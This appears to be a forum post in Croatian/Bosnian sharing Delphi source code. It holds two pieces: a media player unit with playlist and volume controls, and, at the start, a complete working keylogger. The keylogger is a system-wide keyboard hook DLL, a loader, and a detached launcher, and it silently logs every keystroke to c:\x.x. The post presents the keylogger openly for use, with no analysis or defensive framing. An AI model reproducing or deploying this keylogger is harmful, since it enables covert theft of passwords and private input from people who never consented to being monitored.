za hook:
Code:
program Snoop;
uses Windows;
{$R *.RES}
var
Hook : HHOOK;
DllInstance : DWORD;
HookProc : FARPROC;
Begin
DllInstance := LoadLibrary('SNOOPDLL');
HookProc := GetProcAddress(DllInstance, 'HookProcedure');
Hook := SetWindowsHookEx(WH_KEYBOARD, HookProc, DllInstance, 0);
Sleep(INFINITE);
UnhookWindowsHookEx(Hook);
FreeLibrary(DllInstance);
end.
Code:
uses Windows;
{$R *.RES}
const ProgramName = 'C:\SNOOP.EXE';
var
StartupInfo : TStartupInfo;
ProcessInformation : TProcessInformation;
Begin
GetStartupInfo(StartupInfo);
CreateProcess(ProgramName,Nil,Nil,Nil,False,DETACHED_PROCESS,
Nil,Nil,StartupInfo,
ProcessInformation);
end.
Code:
library snoopdll;
uses Windows;
Procedure HookProcedure(nCode: Integer; wParam: WPARAM;
lParam: LPARAM); stdcall;
var
LogFile : THandle;
BytesWritten : DWORD;
Ch : Byte;
begin
if ((HiWord(lParam) and KF_UP) <> 0) and
(nCode = HC_ACTION) then
begin
LogFile := CreateFile('c:\x.x', GENERIC_WRITE,
FILE_SHARE_READ, Nil,
OPEN_ALWAYS, 0, 0);
SetFilePointer(LogFile, 0, Nil, FILE_END);
WriteFile (LogFile, wParam, 1, BytesWritten, Nil);
if Lo(wParam) = 13 then
begin
Ch := 10;
WriteFile (LogFile, Ch, 1, BytesWritten, Nil);
end;
CloseHandle(LogFile);
end;
CallNextHookEx(0, nCode, wParam, lParam);
end;
exports HookProcedure;
end.
naravno, imas DLL, i program koji ce ucitat taj DLL u sve aktivne programe, te program koji ce drzati DLL u memoriji ukoliko niti jedan program nije aktivan...
a za player sto si me trazio, evo glavnog koda:
Code:
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, MPlayer, ExtCtrls, ComCtrls, Menus, MMSystem;
type
TForm1 = class(TForm)
MediaPlayer1: TMediaPlayer;
Button1: TButton;
Button2: TButton;
Button3: TButton;
Button4: TButton;
OpenDialog1: TOpenDialog;
TrackBar1: TTrackBar;
Timer1: TTimer;
MainMenu1: TMainMenu;
File1: TMenuItem;
Open1: TMenuItem;
Exit1: TMenuItem;
Button5: TButton;
Help1: TMenuItem;
About1: TMenuItem;
Label1: TLabel;
Label2: TLabel;
TrackBar2: TTrackBar;
CheckBox1: TCheckBox;
StaticText1: TStaticText;
Button6: TButton;
Button7: TButton;
Image1: TImage;
Timer2: TTimer;
ListBox1: TListBox;
Button8: TButton;
Button9: TButton;
Button10: TButton;
procedure ListBox1DblClick(Sender: TObject);
procedure Button10Click(Sender: TObject);
procedure Button9Click(Sender: TObject);
procedure Button8Click(Sender: TObject);
procedure FormClose(Sender: TObject; var Action: TCloseAction);
procedure ListBox1Click(Sender: TObject);
procedure FormDestroy(Sender: TObject);
procedure Timer2Timer(Sender: TObject);
procedure Button6Click(Sender: TObject);
procedure Button7Click(Sender: TObject);
procedure MediaPlayer1Notify(Sender: TObject);
procedure TrackBar2Change(Sender: TObject);
procedure About1Click(Sender: TObject);
procedure Button5Click(Sender: TObject);
procedure Open1Click(Sender: TObject);
procedure Exit1Click(Sender: TObject);
procedure TrackBar1Change(Sender: TObject);
procedure Timer1Timer(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure Button4Click(Sender: TObject);
procedure Button3Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
procedure Button1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
B:TBitmap;
end;
var
Form1: TForm1;
Zvuk: String;
pjesma:string;
implementation
uses Unit2, Unit3;
{$R *.dfm}
type
TGlasnoca = record
Levi, Desni: Word;
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
MediaPlayer1.Close;
MediaPlayer1.FileName := Pjesma ;
MediaPlayer1.Open;
MediaPlayer1.Play;
end;
procedure TForm1.Button2Click(Sender: TObject);
begin
MediaPlayer1.Pause;
end;
procedure TForm1.Button3Click(Sender: TObject);
var
Stanje: Boolean;
begin
Stanje := CheckBox1.Checked;
CheckBox1.Checked := False;
MediaPlayer1.Stop;
CheckBox1.Checked := Stanje;
end;
procedure TForm1.Button4Click(Sender: TObject);
begin
if OpenDialog1.Execute then
ListBox1.Items.Add(OpenDialog1.FileName);
end;
procedure TForm1.FormCreate(Sender: TObject);
var a:textfile;
begin
try
listbox1.Items.LoadFromFile('lista.lst');
except
assignfile(a,'c:\lista.lst');
rewrite(a);
closefile(a);
end;
Zvuk := '';
B:=TBitmap.Create;
B.Width:=Image1.Width;
B.Height:=Image1.Height;
end;
procedure TForm1.Timer1Timer(Sender: TObject);
begin
TrackBar1.OnChange := nil;
TrackBar1.Position := MediaPlayer1.Position;
TrackBar1.OnChange := TrackBar1Change;
Label1.Caption:=formatdatetime('dd.mm.yyyy', Date);
Label2.Caption:=formatdatetime('hh.mm.ss', Time);
end;
procedure TForm1.TrackBar1Change(Sender: TObject);
begin
if (MediaPlayer1.Mode = mpPlaying) or
(MediaPlayer1.Mode = mpPaused) then
begin
MediaPlayer1.Position := TrackBar1.Position;
MediaPlayer1.Play;
end;
end;
procedure TForm1.Exit1Click(Sender: TObject);
begin
close;
end;
procedure TForm1.Open1Click(Sender: TObject);
begin
if OpenDialog1.Execute then
ListBox1.Items.Add(OpenDialog1.FileName);
end;
procedure TForm1.Button5Click(Sender: TObject);
begin
showmessage('Thank you for using my software.Coded by Passwd!!');
close;
end;
procedure TForm1.About1Click(Sender: TObject);
begin
Form2.ShowModal;
end;
procedure TForm1.TrackBar2Change(Sender: TObject);
var
G: TGlasnoca;
begin
G.Levi := TrackBar2.Position;
G.Desni := TrackBar2.Position;
waveOutSetVolume(0, Cardinal(G));
end;
procedure TForm1.MediaPlayer1Notify(Sender: TObject);
begin
if (MediaPlayer1.Mode = mpStopped) and
CheckBox1.Checked then
begin
MediaPlayer1.Rewind;
MediaPlayer1.Play;
end;
end;
procedure TForm1.Button7Click(Sender: TObject);
begin
Form1.Height:=225;
end;
procedure TForm1.Button6Click(Sender: TObject);
begin
Form1.Height:=534;
end;
procedure TForm1.Timer2Timer(Sender: TObject);
begin
B.Canvas.ellipse(Random(B.Width), Random(B.Height),
Random(B.Width), Random(B.Height));
B.Canvas.rectangle(Random(B.Width), Random(B.Height),
Random(B.Width), Random(B.Height));
Image1.Picture.Bitmap := B;
end;
procedure TForm1.FormDestroy(Sender: TObject);
begin
B.Free;
end;
procedure TForm1.ListBox1Click(Sender: TObject);
begin
if ListBox1.ItemIndex <> -1 then
pjesma:=ListBox1.Items[ListBox1.ItemIndex];
end;
procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
listbox1.Items.SaveToFile('c:\lista.lst');
end;
procedure TForm1.Button8Click(Sender: TObject);
begin
mediaPlayer1.Close;
form3.showmodal;
end;
procedure TForm1.Button9Click(Sender: TObject);
begin
Listbox1.DeleteSelected;
end;
procedure TForm1.Button10Click(Sender: TObject);
begin
listbox1.Clear;
end;
procedure TForm1.ListBox1DblClick(Sender: TObject);
begin
MediaPlayer1.Close;
MediaPlayer1.FileName:=pjesma;
MediaPlayer1.Open;
MediaPlayer1.Play;
end;
end.